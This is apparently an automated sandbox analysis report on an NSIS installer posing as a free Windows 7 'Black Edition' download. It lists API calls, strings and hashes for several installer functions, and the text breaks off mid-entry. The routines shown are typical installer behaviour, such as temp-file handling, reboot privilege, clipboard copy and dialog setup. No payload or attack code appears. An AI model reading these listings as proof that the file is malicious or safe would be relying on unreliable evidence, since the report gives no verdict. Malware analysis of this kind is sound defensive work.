Part of subcall function 00405B66: lstrcpynA.KERNEL32(?,?,00000400,004032AA,Windows 7 Black Edition Free Download Full.exe,NSIS Error), ref: 00405B73

GetCommandLineA.KERNEL32(Windows 7 Black Edition Free Download Full.exe,NSIS Error), ref: 004032AA
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",00000000), ref: 004032BD
CharNextA.USER32(00000000,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",00000020), ref: 004032E8
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 0040337B
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403390
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040339C
DeleteFileA.KERNEL32(1033), ref: 004033AF
OleUninitialize.OLE32(00000000), ref: 0040342D
ExitProcess.KERNEL32 ref: 0040344D
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",00000000,00000000), ref: 00403459
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp), ref: 00403465
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403471
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 00403478
DeleteFileA.KERNEL32(0041F058,0041F058,?,00424000,?), ref: 004034C2
CopyFileA.KERNEL32(C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe,0041F058,00000001), ref: 004034D6
CloseHandle.KERNEL32(00000000,0041F058,0041F058,?,0041F058,00000000), ref: 00403503
GetCurrentProcess.KERNEL32(00000028,?,00000005,00000004,00000003), ref: 00403558
ExitWindowsEx.USER32(00000002,00000000), ref: 00403594
ExitProcess.KERNEL32 ref: 004035B7

Strings

"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe", xrefs: 004032B0, 004032B6, 004033CC
NSIS Error, xrefs: 0040329B
C:\Users\user\AppData\Local\Temp\, xrefs: 00403370, 00403375, 0040338F, 0040339B, 00403458, 00403464, 00403470, 00403477, 00403517
C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp, xrefs: 0040345E, 00403463, 00403486
Error launching installer, xrefs: 004033E5
1033, xrefs: 004033AA
Windows 7 Black Edition Free Download Full.exe, xrefs: 004032A0
", xrefs: 0040330A
NCRC, xrefs: 00403328
C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe, xrefs: 004034D1
/D=, xrefs: 0040333E
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040324C
SeShutdownPrivilege, xrefs: 0040356A
_?=, xrefs: 004033D6
\Temp, xrefs: 00403396
~nsu.tmp, xrefs: 00403453

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: File$DirectoryExitHandleProcess$CurrentDeleteModuleWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$"$"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp$C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$NCRC$NSIS Error$SeShutdownPrivilege$Windows 7 Black Edition Free Download Full.exe$\Temp$~nsu.tmp
API String ID: 2278157092-1364407753
Opcode ID: 53a535f831dc2d0f2957bea1663804e085942d9cd57d3f2808feef199e919f3e
Instruction ID: d9df3101e86bd055252ea398e1a167ecdf9755d8b7b18b8fa076e16bcd865dbe
Opcode Fuzzy Hash: 53a535f831dc2d0f2957bea1663804e085942d9cd57d3f2808feef199e919f3e
Instruction Fuzzy Hash: E191D231A087417EE7216F609D49B2B7EACEB01306F44457BF941B61E2C77CAE058B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405042 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 278
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004050A1
GetDlgItem.USER32(?,000003EE), ref: 004050B0
GetClientRect.USER32(?,?), ref: 004050ED
GetSystemMetrics.USER32(00000015), ref: 004050F5
SendMessageA.USER32(?,0000101B,00000000,00000002), ref: 00405116
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405127
SendMessageA.USER32(?,00001001,00000000,00000110), ref: 0040513A
SendMessageA.USER32(?,00001026,00000000,00000110), ref: 00405148
SendMessageA.USER32(?,00001024,00000000,?), ref: 0040515B
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040517D
ShowWindow.USER32(?,00000008), ref: 00405191
GetDlgItem.USER32(?,000003EC), ref: 004051B2
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004051C2
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004051DB
SendMessageA.USER32(00000000,00002001,00000000,00000110), ref: 004051E7
GetDlgItem.USER32(?,000003F8), ref: 004050BF

Part of subcall function 00403F4D: SendMessageA.USER32(00000028,?,00000001,00403D7E), ref: 00403F5B

GetDlgItem.USER32(?,000003EC), ref: 00405204
CreateThread.KERNEL32(00000000,00000000,Function_00004FD6,00000000), ref: 00405212
CloseHandle.KERNEL32(00000000), ref: 00405219
ShowWindow.USER32(00000000), ref: 0040523D
ShowWindow.USER32(000301E6,00000008), ref: 00405242
ShowWindow.USER32(00000008), ref: 00405289
SendMessageA.USER32(000301E6,00001004,00000000,00000000), ref: 004052BB
CreatePopupMenu.USER32 ref: 004052CC
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004052E1
GetWindowRect.USER32(000301E6,?), ref: 004052F4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405318
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405353
OpenClipboard.USER32(00000000), ref: 00405363
EmptyClipboard.USER32 ref: 00405369
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 00405372
GlobalLock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 0040537C
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405390
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 004053A8
SetClipboardData.USER32(00000001,00000000), ref: 004053B3
CloseClipboard.USER32 ref: 004053B9

Strings

{, xrefs: 004052A8

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: b6985e915781e4d0d10e700758654b37abccef5d1fa343584269c791ce157f13
Instruction ID: b28aa7ce0402c6385ba5b6cd868a6258f1d07b471923b7bae974b2a68da01879
Opcode Fuzzy Hash: b6985e915781e4d0d10e700758654b37abccef5d1fa343584269c791ce157f13
Instruction Fuzzy Hash: 34A14870904208FFDB219F60DD89AAE7F79FB08355F00417AFA05BA2A0C7795A41DF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040548B Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNEL32(?,?,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",74DF2EE0), ref: 004054A9
lstrcatA.KERNEL32(004214A8,\*.*,004214A8,?,00000000,?,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",74DF2EE0), ref: 004054F3
lstrcatA.KERNEL32(?,00409010,?,004214A8,?,00000000,?,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",74DF2EE0), ref: 00405514
lstrlenA.KERNEL32(?,?,00409010,?,004214A8,?,00000000,?,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",74DF2EE0), ref: 0040551A
FindFirstFileA.KERNEL32(004214A8,?,?,?,00409010,?,004214A8,?,00000000,?,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",74DF2EE0), ref: 0040552B
FindNextFileA.KERNEL32(?,00000010,000000F2,?), ref: 004055DD
FindClose.KERNEL32(?), ref: 004055EE

Strings

"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe", xrefs: 00405495
C:\Users\user\AppData\Local\Temp\, xrefs: 0040548B
\*.*, xrefs: 004054ED

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3676844809
Opcode ID: a74e3a8bc586b2fe72e0e851d97eda7d859cf0ce356a0775da356dfd1901f90e
Instruction ID: bc429f5d1e1b14784ce7e3564347ec6ed469848bfd5577fff983359c073685a4
Opcode Fuzzy Hash: a74e3a8bc586b2fe72e0e851d97eda7d859cf0ce356a0775da356dfd1901f90e
Instruction Fuzzy Hash: 0351F331904A447ADB216B218C45BBF3B79CF42728F54847BF905711E2CB3C5A82DE6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406131 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d33a5f9df5361017a2c2cd63e74982cac3414c6cd2676332625b738f25334a08
Instruction ID: 7fe690cacb8e5da35aefc448adc87e2f65dc6f56ff44dc44b78e187fa59068bd
Opcode Fuzzy Hash: d33a5f9df5361017a2c2cd63e74982cac3414c6cd2676332625b738f25334a08
Instruction Fuzzy Hash: 70F16871D00229CBDF28CFA8C8946ADBBB1FF44305F25816ED856BB281D7785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00405E88 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
LoadLibraryA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405EA5
GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: cda0668070076e7cac62d6abfc32be1e4fdfe709f191786036c768239460f4b3
Instruction ID: 91087f9554edebef2dfdad95906e97f440013226b38390424b9c6ad62026e406
Opcode Fuzzy Hash: cda0668070076e7cac62d6abfc32be1e4fdfe709f191786036c768239460f4b3
Instruction Fuzzy Hash: 0FE08C32A08511BBD3115B30ED0896B77A8EA89B41304083EF959F6290D734EC119BFA

Uniqueness

Uniqueness Score: -1.00%

Function 00405E61 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(?,004224F0,004218A8,0040577D,004218A8,004218A8,00000000,004218A8,004218A8,?,?,74DF2EE0,0040549F,?,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",74DF2EE0), ref: 00405E6C
FindClose.KERNEL32(00000000), ref: 00405E78

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: a0d9290738f1f02d4b3743de2211279f78b4a64d0718c2c828088997ee3199ab
Instruction ID: f2fe444ddfa45285d6a9eb51d657c4c39712a0d2250b7f8498e11f87d01b5aa3
Opcode Fuzzy Hash: a0d9290738f1f02d4b3743de2211279f78b4a64d0718c2c828088997ee3199ab
Instruction Fuzzy Hash: 26D012359495206FC7001738AD0C85B7A58EF553347508B32F969F62E0C7B4AD51DAED

Uniqueness

Uniqueness Score: -1.00%

Function 00403A45 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403A81
ShowWindow.USER32(?), ref: 00403A9E
DestroyWindow.USER32 ref: 00403AB2
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403ACE
GetDlgItem.USER32(?,?), ref: 00403AEF
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403B03
IsWindowEnabled.USER32(00000000), ref: 00403B0A
GetDlgItem.USER32(?,00000001), ref: 00403BB8
GetDlgItem.USER32(?,00000002), ref: 00403BC2
SetClassLongA.USER32(?,000000F2,?), ref: 00403BDC
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403C2D
GetDlgItem.USER32(?,00000003), ref: 00403CD3
ShowWindow.USER32(00000000,?), ref: 00403CF4
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403D06
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403D21
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403D37
EnableMenuItem.USER32(00000000), ref: 00403D3E
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403D56
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403D69
lstrlenA.KERNEL32(004204A0,?,004204A0,Windows 7 Black Edition Free Download Full.exe), ref: 00403D92
SetWindowTextA.USER32(?,004204A0), ref: 00403DA1
ShowWindow.USER32(?,0000000A), ref: 00403ED5

Strings

Windows 7 Black Edition Free Download Full.exe, xrefs: 00403D83

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$CallbackDispatcherLongMenuUser$ClassDestroyEnableEnabledSystemTextlstrlen
String ID: Windows 7 Black Edition Free Download Full.exe
API String ID: 1252290697-3326603863
Opcode ID: 14e7e0a8131732f9e150b36a7fce0cb21c204cb0cec2561e24870ec1d01c69b9
Instruction ID: 1b558320748e03173a152966608fa9e4bba3452d5179f8dde3fdb5243a6fbb8a
Opcode Fuzzy Hash: 14e7e0a8131732f9e150b36a7fce0cb21c204cb0cec2561e24870ec1d01c69b9
Instruction Fuzzy Hash: 21C18071A04204BBDB216F21ED45E2B3E7DEB4970AF40053EF541B12E1C739AA42DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 004036AF Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405E88: GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
Part of subcall function 00405E88: LoadLibraryA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405EA5
Part of subcall function 00405E88: GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6

lstrcatA.KERNEL32(1033,004204A0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004204A0,00000000,00000006,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe",00000000,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403720
lstrlenA.KERNEL32(00422E40,?,?,?,00422E40,00000000,00429400,1033,004204A0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004204A0,00000000,00000006,"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe"), ref: 00403795
lstrcmpiA.KERNEL32(?,.exe), ref: 004037A8
GetFileAttributesA.KERNEL32(00422E40), ref: 004037B3
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,00429400), ref: 004037FC

Part of subcall function 00405AC4: wsprintfA.USER32 ref: 00405AD1

RegisterClassA.USER32 ref: 00403843
SystemParametersInfoA.USER32(00000030,00000000,_Nb,00000000), ref: 0040385B
CreateWindowExA.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403894
ShowWindow.USER32(00000005,00000000), ref: 004038CA
LoadLibraryA.KERNEL32(RichEd20), ref: 004038DB
LoadLibraryA.KERNEL32(RichEd32), ref: 004038E6
GetClassInfoA.USER32(00000000,RichEdit20A,00423640), ref: 004038F6
GetClassInfoA.USER32(00000000,RichEdit,00423640), ref: 00403903
RegisterClassA.USER32(00423640), ref: 0040390C
DialogBoxParamA.USER32(?,00000000,00403A45,00000000), ref: 0040392B

Strings

RichEd20, xrefs: 004038D6
"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe", xrefs: 004036BB
C:\Users\user\AppData\Local\Temp\, xrefs: 004036B3
RichEdit20A, xrefs: 004038EE, 004038F4
A.B, xrefs: 00403785
1033, xrefs: 004036CF, 0040371B
@6B, xrefs: 0040380B
.DEFAULT\Control Panel\International, xrefs: 0040370B
_Nb, xrefs: 00403852, 00403857
@.B, xrefs: 00403763
.exe, xrefs: 004037A2
Control Panel\Desktop\ResourceLocale, xrefs: 004036E3
RichEd32, xrefs: 004038E1
RichEdit, xrefs: 004038FD

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe"$.DEFAULT\Control Panel\International$.exe$1033$@.B$@6B$A.B$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 914957316-3206372194
Opcode ID: 6186cd0dc7f5b8c4dd386d80bd90aa2821d034a13263318605b4bd1c267fc880
Instruction ID: 5edcd83abe1923a5ef33726047749e404321c8c293ca1ea02831498dc8d0bb6f
Opcode Fuzzy Hash: 6186cd0dc7f5b8c4dd386d80bd90aa2821d034a13263318605b4bd1c267fc880
Instruction Fuzzy Hash: A961A3B16442007FD720AF659D45E2B3AADEB4475AF40457FF940B22E1D77CAD01CA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00404060 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004040EB
GetDlgItem.USER32(00000000,000003E8), ref: 004040FF
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 0040411D
GetSysColor.USER32(?), ref: 0040412E
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 0040413D
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 0040414C
lstrlenA.KERNEL32(?), ref: 00404156
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404164
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404173
GetDlgItem.USER32(?,0000040A), ref: 004041D6
SendMessageA.USER32(00000000), ref: 004041D9
GetDlgItem.USER32(?,000003E8), ref: 00404204
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404244
LoadCursorA.USER32(00000000,00007F02), ref: 00404253
SetCursor.USER32(00000000), ref: 0040425C
ShellExecuteA.SHELL32(0000070B,open,@.B,00000000,00000000,00000001), ref: 0040426F
LoadCursorA.USER32(00000000,00007F00), ref: 0040427C
SetCursor.USER32(00000000), ref: 0040427F
SendMessageA.USER32(00000111,00000001,00000000), ref: 004042AB
SendMessageA.USER32(00000010,00000000,00000000), ref: 004042BF

Strings

@.B, xrefs: 00404264
open, xrefs: 00404267
N, xrefs: 004041F2

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966181922.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966263960.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: @.B$N$open
API String ID: 3615053054-3815657624
Opcode ID: e8b988e3949f0b6d91b1b58256fef292242953983a672fd1ea6cb44b2e1e2ed0
Instruction ID: 7761d7a6ce13443680711406d70bf9c6d022160e69bfd2fffc9b265f6460a43d
Opcode Fuzzy Hash: e8b988e3949f0b6d91b1b58256fef292242953983a672fd1ea6cb44b2e1e2ed0
Instruction Fuzzy Hash: 4661B2B1A40209BFEB109F60DC45F6A3B69FB44755F10817AFB04BA2D1C7B8A951CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00402C72 Relevance: 30.0, APIs: 5, Strings: 12, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402C86
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe,00000400), ref: 00402CA2

Part of subcall function 0040583D: GetFileAttributesA.KERNEL32(00000003,00402CB5,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe,80000000,00000003), ref: 00405841
Part of subcall function 0040583D: CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405863

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe,C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe,80000000,00000003), ref: 00402CEB
GlobalAlloc.KERNEL32(00000040,00409130), ref: 00402E32

Strings

vE6, xrefs: 00402D7A, 00402DDA
s4, xrefs: 00402EBA
Inst, xrefs: 00402D59
"C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe", xrefs: 00402C7F
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402EC9
C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp\setup.exe, xrefs: 00402C8C, 00402C9B, 00402CAF, 00402CCC
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C72, 00402E4A
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402E7B
C:\Users\user\AppData\Local\Temp\is-S3MQ0.tmp, xrefs: 00402CCD, 00402CD2, 00402CD8
Error launching installer, xrefs: 00402CC2
Null, xrefs: 00402D6B
soft, xrefs: 00402D62

Memory Dump Source

Source File: 00000002.00000002.2966128390.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2966101871.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2966160075.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
